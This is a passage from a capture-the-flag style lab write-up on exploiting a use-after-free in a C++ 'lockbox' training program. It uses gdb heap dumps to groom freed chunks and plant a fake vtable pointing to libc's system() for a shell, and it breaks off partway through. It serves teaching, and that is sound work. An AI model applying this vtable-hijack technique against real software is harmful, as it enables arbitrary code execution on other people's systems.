The keywords new<\/code> and delete<\/code> are the C++ equivalents to the C-functions malloc<\/code> and free<\/code>. As we have already seen in lab7C<\/a> an application might be prone to a Use After Free<\/i> vulnerability if a pointer is not set to NULL<\/code> after the memory it is pointing to has been deallocated. This is true for both malloc<\/code> and delete<\/code>. Within the above code in the function do_del_set<\/code> the memory allocated for the hashset_int<\/code> instance is freed but the pointer within the array set_vec<\/code> still references the deallocated memory (line 159). Let's verify this assumption using gdb<\/code>:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ gdb lab9A\r\nReading symbols from lab9A...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 10\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$\r\n<\/pre>\n
I opened a lockbox at index 0<\/code> with the size 10<\/code> and paused the execution with Ctrl+C<\/code>.<\/p>\n
The array set_vec<\/code> as well the hashset_int<\/code> instance should be stored on the heap now:<\/p>\n
\r\n    hashset_int **set_vec = new hashset_int*[SIZE_HASHSET_VEC];\r\n<\/pre>\n
\r\n    set_vec[bin] = new hashset_int(choice);\r\n<\/pre>\n
\r\ngdb-peda$ i proc mappings\r\nprocess 30743\r\nMapped address spaces:\r\n\r\n        Start Addr   End Addr       Size     Offset objfile\r\n         0x8048000  0x804a000     0x2000        0x0 \/levels\/lab09\/lab9A\r\n         0x804a000  0x804b000     0x1000     0x1000 \/levels\/lab09\/lab9A\r\n         0x804b000  0x804c000     0x1000     0x2000 \/levels\/lab09\/lab9A\r\n         0x804c000  0x806d000    0x21000        0x0 [heap]\r\n         ...\r\n\t\t \r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x00000000\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x0000000a      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000031      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00020f91      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
The heap begins at 0x804c000<\/code>. Remember that each heap chunk consists of:
\n–> 4 bytes previous chunk size
\n–> 4 bytes chunk size + flags
\n–> actual data<\/p>\n
The first chunk on the heap which data begins at 0x804c008<\/code> is the array set_vec<\/code>. The array contains only one pointer at index 0: 0x0804c030<\/code>. This is the lockbox we just added. Considering the class declaration we can determine what each value is:<\/p>\n
\r\nclass HashSet {\r\n    public:\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T[size]) {}\r\n        virtual ~HashSet() { delete [] set_data; }\r\n        virtual void add(T val);\r\n        virtual unsigned int find(T val);\r\n        virtual T get(unsigned int);\r\n    private:\r\n        unsigned int m_size;\r\n        HashFunc m_hash;\r\n        T *set_data;\r\n};\r\n<\/pre>\n
\r\n0x804c028:  0x00000000   --> heap meta data: previous chunk size\r\n0x804c02c:  0x00000019   --> heap meta data: chunk size + flags\r\n0x804c030:  0x08049aa8   --> vtable of hashset_int\r\n0x804c034:  0x0000000a   --> m_size\r\n0x804c038:  0x00000000   --> m_hash\r\n0x804c03c:  0x0804c048   --> set_data\r\n----------------------------------------------------------------\r\n0x804c040:  0x00000000   --> heap meta data: previous chunk size\r\n0x804c044:  0x00000031   --> heap meta data: chunk size + flags\r\n0x804c048:  0x00000000   --> set_data[0]\r\n0x804c04c:  0x00000000   --> set_data[1]\r\n0x804c050:  0x00000000   --> set_data[2]\r\n...\r\n<\/pre>\n
As you can see the first 4 bytes of the hashset_int<\/code> instance is an address: 0x08049aa8<\/code>. This is the Virtual Table (vtable)<\/i> of the class hashset_int<\/code>. The vtable contains a function pointer for each method of the class:<\/p>\n
\r\ngdb-peda$ x\/8xw 0x08049aa8\r\n0x8049aa8 <_ZTV7HashSetIi8hash_numE+8>:  0x080496e0      0x0804971e      0x08049618      0x08049660\r\n0x8049ab8 <_ZTV7HashSetIi8hash_numE+24>: 0x08049692      0x73614837      0x74655368      0x68386949\r\n<\/pre>\n
The constructor at 0x080496e0<\/code>:<\/p>\n
\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T[size]) {}\r\n<\/pre>\n
\r\ngdb-peda$ x\/3i 0x080496e0\r\n   0x80496e0 <_ZN7HashSetIi8hash_numED2Ev>:     push   ebp\r\n   0x80496e1 <_ZN7HashSetIi8hash_numED2Ev+1>:   mov    ebp,esp\r\n   0x80496e3 <_ZN7HashSetIi8hash_numED2Ev+3>:   sub    esp,0x18\r\n<\/pre>\n
The destructor at 0x0804971e<\/code>:<\/p>\n
\r\n        virtual ~HashSet() { delete [] set_data; }\r\n<\/pre>\n
\r\ngdb-peda$ x\/3i 0x0804971e\r\n   0x804971e <_ZN7HashSetIi8hash_numED0Ev>:     push   ebp\r\n   0x804971f <_ZN7HashSetIi8hash_numED0Ev+1>:   mov    ebp,esp\r\n   0x8049721 <_ZN7HashSetIi8hash_numED0Ev+3>:   sub    esp,0x18\r\n<\/pre>\n
The method add<\/code> at 0x08049618<\/code>:<\/p>\n
\r\n        virtual void add(T val);\r\n<\/pre>\n
\r\ngdb-peda$ x\/3i 0x08049618\r\n   0x8049618 <_ZN7HashSetIi8hash_numE3addEi>:   push   ebp\r\n   0x8049619 <_ZN7HashSetIi8hash_numE3addEi+1>: mov    ebp,esp\r\n   0x804961b <_ZN7HashSetIi8hash_numE3addEi+3>: sub    esp,0x28\r\n<\/pre>\n
The method find<\/code> at 0x08049660<\/code>:<\/p>\n
\r\n        virtual unsigned int find(T val);\r\n<\/pre>\n
\r\ngdb-peda$ x\/3i 0x08049660\r\n   0x8049660 <_ZN7HashSetIi8hash_numE4findEi>:  push   ebp\r\n   0x8049661 <_ZN7HashSetIi8hash_numE4findEi+1>:        mov    ebp,esp\r\n   0x8049663 <_ZN7HashSetIi8hash_numE4findEi+3>:        sub    esp,0x28\r\n<\/pre>\n
The method get<\/code> at 0x08049692<\/code>:<\/p>\n
\r\n        virtual T get(unsigned int);\r\n<\/pre>\n
\r\ngdb-peda$ x\/3i 0x08049692\r\n   0x8049692 <_ZN7HashSetIi8hash_numE3getEj>:   push   ebp\r\n   0x8049693 <_ZN7HashSetIi8hash_numE3getEj+1>: mov    ebp,esp\r\n   0x8049695 <_ZN7HashSetIi8hash_numE3getEj+3>: sub    esp,0x18\r\n<\/pre>\n
This vtable is necessary when a class contains virtual<\/code> methods because these methods may be overwritten by an inheriting class. If an object is referenced by a base class pointer the compiler cannot know the actual class affiliation of the object at compile time. By using a vtable this problem is solved during runtime. Consider the following example:<\/p>\n
\r\nclass Animal {\r\n  public:\r\n    ...\r\n\tvirtual void makeNoise() { printf("generic noise.\\n"); }\r\n\t...\r\n};\r\n\r\nclass Dog : public Animal {\r\n  public:\r\n    ...\r\n\tvirtual void makeNoise() { printf("bark bark\\n"); }\r\n\r\n};\r\n\r\n...\r\n\r\nvoid triggerNoise(Animal *obj) {\r\n\r\n  obj->makeNoise(); \/\/ is obj a generic Animal? or a Dog? or something else?\r\n  \r\n}\r\n<\/pre>\n
As the triggerNoise<\/code> function is passed a base class pointer it cannot be determined during compile time to which class obj<\/code> actually belongs. Because of this each object contains the vtable of the class it belongs to. The method call is then made through the vtable. An example is the add<\/code> call in do_add_item<\/code>:<\/p>\n
\r\ndo_add_item(hashset_int **set_vec)\r\n{\r\n    ...\r\n<\/pre>\n
\r\n    set_vec[set_id]->add(item_val);\r\n}\r\n<\/pre>\n
\r\ngdb-peda$ disassemble _Z11do_add_itemPP7HashSetIi8hash_numE\r\nDump of assembler code for function _Z11do_add_itemPP7HashSetIi8hash_numE:\r\n   ...\r\n   0x08049254 <+141>:   mov    eax,DWORD PTR [eax]\r\n   0x08049256 <+143>:   mov    eax,DWORD PTR [eax]\r\n   0x08049258 <+145>:   add    eax,0x8\r\n   0x0804925b <+148>:   mov    eax,DWORD PTR [eax]\r\n   ...\r\n   0x08049278 <+177>:   call   eax\r\n   0x0804927a <+179>:   leave\r\n   0x0804927b <+180>:   ret\r\nEnd of assembler dump.\r\n<\/pre>\n
With the example from above eax<\/code> contains the address of the set_vec<\/code> array entry: 0x804c008<\/code>.<\/p>\n
After the first line...<\/p>\n
\r\n   0x08049254 <+141>:   mov    eax,DWORD PTR [eax]\r\n<\/pre>\n
... eax<\/code> contains the value stored at this address: 0x804c030<\/code>. This is the address of the object.<\/p>\n
After the next line...<\/p>\n
\r\n   0x08049256 <+143>:   mov    eax,DWORD PTR [eax]\r\n<\/pre>\n
... eax<\/code> contains the first 4 bytes of the object: the vtable (0x8049aa8<\/code>)!<\/p>\n
Since add<\/code> is the third entry within the vtable eax<\/code> is incremented by 8:<\/p>\n
\r\n   0x08049258 <+145>:   add    eax,0x8\r\n<\/pre>\n
After this eax<\/code> contains the address of the third entry in the vtable: 0x8049ab0<\/code>.<\/p>\n
Now the value stored there is loaded to eax<\/code>:<\/p>\n
\r\n   0x0804925b <+148>:   mov    eax,DWORD PTR [eax]\r\n<\/pre>\n
Finally eax<\/code> contains the address of the method add<\/code> (0x80496e0<\/code>) and the call can be made:<\/p>\n
\r\n   0x08049278 <+177>:   call   eax\r\n<\/pre>\n
After this little excursus let's get back to verification of our assumption that the hashset_int<\/code> instances can be accessed even after deletion:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n4\r\nWhich set?: 0\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x00000000\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x00000000      0x0000000a      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000031      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00020f91      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
I selected 4. Destroy your lockbox and items in it<\/code> to deallocate the hashset_int<\/code> instance. As we suspected the set_vec<\/code> array on the heap still contains the pointer to the object: 0x0804c030<\/code>. You can also see that the first 4 bytes of the object at 0x804c030<\/code> have been set to 0x00000000<\/code>. Because this is where the vtable was stored, it comes as little surprise that a subsequent call to add<\/code> does not succeed:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 1337\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x8\r\nEBX: 0xb7ec3000 --> 0x1a9da8\r\nECX: 0xb7ec48a4 --> 0x0\r\nEDX: 0x0\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --> 0xbffff6f8 --> 0x0\r\nESP: 0xbffff6a0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:       push   ebx)\r\nEIP: 0x804925b (<_Z11do_add_itemPP7HashSetIi8hash_numE+148>:    mov    eax,DWORD PTR [eax])\r\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0x8049254 <_Z11do_add_itemPP7HashSetIi8hash_numE+141>:       mov    eax,DWORD PTR [eax]\r\n   0x8049256 <_Z11do_add_itemPP7HashSetIi8hash_numE+143>:       mov    eax,DWORD PTR [eax]\r\n   0x8049258 <_Z11do_add_itemPP7HashSetIi8hash_numE+145>:       add    eax,0x8\r\n=> 0x804925b <_Z11do_add_itemPP7HashSetIi8hash_numE+148>:       mov    eax,DWORD PTR [eax]\r\n   0x804925d <_Z11do_add_itemPP7HashSetIi8hash_numE+150>:       mov    edx,DWORD PTR [ebp-0x10]\r\n   0x8049260 <_Z11do_add_itemPP7HashSetIi8hash_numE+153>:       lea    ecx,[edx*4+0x0]\r\n   0x8049267 <_Z11do_add_itemPP7HashSetIi8hash_numE+160>:       mov    edx,DWORD PTR [ebp+0x8]\r\n   0x804926a <_Z11do_add_itemPP7HashSetIi8hash_numE+163>:       add    edx,ecx\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6a0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:      push   ebx)\r\n0004| 0xbffff6a4 --> 0x8049a02 ("Item value: ")\r\n0008| 0xbffff6a8 --> 0xbffff6f8 --> 0x0\r\n0012| 0xbffff6ac --> 0xb7f693f5 (<_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53>:  add    esp,0x10)\r\n0016| 0xbffff6b0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:      push   ebx)\r\n0020| 0xbffff6b4 --> 0x8049a55 ("Enter choice: ")\r\n0024| 0xbffff6b8 --> 0x0\r\n0028| 0xbffff6bc --> 0x539\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n<\/pre>\n
Segmentation fault. The instruction which caused the segmentation fault tried to read the third entry from the vtable. Since the vtable was set to 0x00000000<\/code> the third entry resulted in the invalid address 0x08<\/code> (see eax<\/code>).<\/p>\n
What conclusions can we draw from our previous examinations?
\n–> Deallocated instances are still referenced and can be accessed just as allocated instances.
\n–> If we manage to overwrite the vtable of an deallocated instance, this vtable address will be used on a method call.
\n–> If we store a fake vtable at this address and set it up appropriately, we can trigger any function we would like to call.<\/p>\n
In order to set up the heap appropriately a basic understanding of the heap memory management is required:
\n–> When possible deallocated memory chunks on the heap are coalesced.
\n–> Deallocated heap chunks in between allocated memory are stored in data structures called bins<\/i>.
\n    – bins<\/i> are linked lists of deallocated chunks.
\n    – The head pointers of these lists are stored in the main area<\/i> within the libc.
\n–> Small deallocated heap chunks (from 16 to 80 bytes) are stored in fastbins<\/i>.
\n    – There are 10 fastbins<\/i>.
\n    – fastbins<\/i> are singly linked lists and thus only hold a forward pointer (FD).
\n    – fastbins<\/i> are not coalesced.<\/p>\n
It is not necessary to understand all details in order to finish this level, but it does not harm anyway. If you would like to know more about the libc heap management I recommend this article<\/a>. <\/p>\n
At first let's start by playing around a little bit with the memory on the heap allocating \/ deallocating hashset_int<\/code> instances with the goal in mind to overwrite the vtable of a deallocated instance:<\/p>\n
\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000014      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000059      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c0a0:      0x08049aa8      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00000059      0x00000000      0x00000000\r\n0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0e0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0f0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c100:      0x00000000      0x00000000      0x00000000      0x00020ef9\r\n...\r\n<\/pre>\n
I created two hashset_int<\/code> instances with a size of 20. We can see both instances on the heap: the first one being located at 0x804c030<\/code> and the second one being located at 0x0804c0a0<\/code>. The first 4 bytes of both instances is the vtable of hashset_int<\/code> stored at 0x08049aa8<\/code>.<\/p>\n
Now let's deallocate these instances and create a new, smaller one:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000059      0xb7ec3450      0xb7ec3450\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000058      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
The new instances we created was again stored at 0x0804c030<\/code>. But have a look at the set_data<\/code> array at 0x804c03c<\/code>. The array is stored at 0x0804c0a0<\/code>. This is exactly the address which has been used before for the second instance which we have already deleted. Within the pointer array set_vec<\/code> on the first line we can see that the deleted instance is still referenced: 0x0804c0a0<\/code>.<\/p>\n
This means that set_data[0]<\/code> is referencing the vtable of the second, already deallocated instance. If we want to store a value there, we must consider how the add<\/code> method chooses the index:<\/p>\n
\r\nHashSet<T, HashFunc>::add(T val)\r\n{\r\n    int index = this->m_hash(val) % this->m_size;\r\n    this->set_data[index] = val;\r\n}\r\n<\/pre>\n
The index is defined by this->m_hash(val) % this->m_size<\/code>. Because m_hash<\/code> simply returns the provided value, it is basically val % m_size<\/code>. Because we created the new instance with a size of 4, the value we want to store in set_data[0]<\/code> has to fulfill the equation val % 4 = 0<\/code>.<\/p>\n
Let's just store some random value there which fulfills the equation and verify that we control the instruction pointer:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 78704\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:#     0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000059      0xb7ec3450      0xb7ec3450\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000058      0x00000018\r\n0x804c0a0:      0x00013370      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
I added the value 78704 = 0x13370<\/code> to the new instance. As we can see this value has been stored at 0x804c0a0<\/code>.<\/p>\n
If we now trigger a method call on the second instance...<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 1\r\nItem value: 0\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x1337c\r\nEBX: 0xb7ec3000 --> 0x1a9da8\r\nECX: 0xb7ec48a4 --> 0x0\r\nEDX: 0x4\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --> 0xbffff6f8 --> 0x0\r\nESP: 0xbffff6a0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:       push   ebx)\r\nEIP: 0x804931b (<_Z12do_find_itemPP7HashSetIi8hash_numE+159>:   mov    eax,DWORD PTR [eax])\r\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0x8049314 <_Z12do_find_itemPP7HashSetIi8hash_numE+152>:      mov    eax,DWORD PTR [eax]\r\n   0x8049316 <_Z12do_find_itemPP7HashSetIi8hash_numE+154>:      mov    eax,DWORD PTR [eax]\r\n   0x8049318 <_Z12do_find_itemPP7HashSetIi8hash_numE+156>:      add    eax,0xc\r\n=> 0x804931b <_Z12do_find_itemPP7HashSetIi8hash_numE+159>:      mov    eax,DWORD PTR [eax]\r\n   0x804931d <_Z12do_find_itemPP7HashSetIi8hash_numE+161>:      mov    edx,DWORD PTR [ebp-0x14]\r\n   0x8049320 <_Z12do_find_itemPP7HashSetIi8hash_numE+164>:      lea    ecx,[edx*4+0x0]\r\n   0x8049327 <_Z12do_find_itemPP7HashSetIi8hash_numE+171>:      mov    edx,DWORD PTR [ebp+0x8]\r\n   0x804932a <_Z12do_find_itemPP7HashSetIi8hash_numE+174>:      add    edx,ecx\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6a0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:      push   ebx)\r\n0004| 0xbffff6a4 --> 0x8049a02 ("Item value: ")\r\n0008| 0xbffff6a8 --> 0xbffff6f8 --> 0x0\r\n0012| 0xbffff6ac --> 0xb7f693f5 (<_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53>:  add    esp,0x10)\r\n0016| 0xbffff6b0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:      push   ebx)\r\n0020| 0xbffff6b4 --> 0x1\r\n0024| 0xbffff6b8 --> 0x0\r\n0028| 0xbffff6bc --> 0xffffffff\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x0804931b in do_find_item(HashSet<int, hash_num>**) ()\r\ngdb-peda$\r\n<\/pre>\n
... we get a segmentation fault. But we do not control the instruction pointer yet. The function do_find_item<\/code> tried to invoke the method find<\/code> on the second instance. Because this is the fourth method in the vtable the value 0xc<\/code> has been added to 0x13370<\/code>. When trying to load the address of the method find<\/code> from 0x1337c<\/code> a segmentation fault is raised. Thus in order to finally control the instruction pointer we have to set up a fake vtable:<\/p>\n
\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 2\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7ec3450      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
I created and deleted the instances just like before but added another instance at index 2 with the size of 4. This instance has been stored at 0x0804c048<\/code>. The set_data<\/code> array of this instances is stored at 0x0804c060<\/code>. We can use this array as our fake vtable.<\/p>\n
Since we want to get a shell we can store the address of system<\/code> in our vtable keeping in mind that we have not leaked the base address of libc as well was the heap's address yet (we get to this later).<\/p>\n
\r\ngdb-peda$ p system\r\n$1 = {<text variable, no debug info>} 0xb7d59190 <__libc_system>\r\ngdb-peda$ ! rax2 0xb7d59190\r\n3084226960\r\ngdb-peda$ c\r\nContinuing.\r\n\r\nProgram received signal SIGALRM, Alarm clock.\r\n2\r\nWhich lockbox?: 2\r\nItem value: 3084226960\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7d59190      0xb7ec3450      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
The address of system (0xb7d59190<\/code>) has been stored at the first index of the array at 0x804c060<\/code> because 0xb7d59190 % 4 = 0<\/code>.<\/p>\n
The next step is to set the vtable pointer of the second, deallocated instance appropriately. Since we are going to invoke the method find<\/code> we have to keep in mind that the address of system<\/code> has to be the fourth entry within our fake vtable. Thus we have to subtract 0xc<\/code> from 0x804c060<\/code> and store this value in the first new instance:<\/p>\n
\r\ngdb-peda$ p 0x804c060 - 0xc\r\n$2 = 0x804c054\r\ngdb-peda$ ! rax2 0x804c054\r\n134529108\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 134529108\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7d59190      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      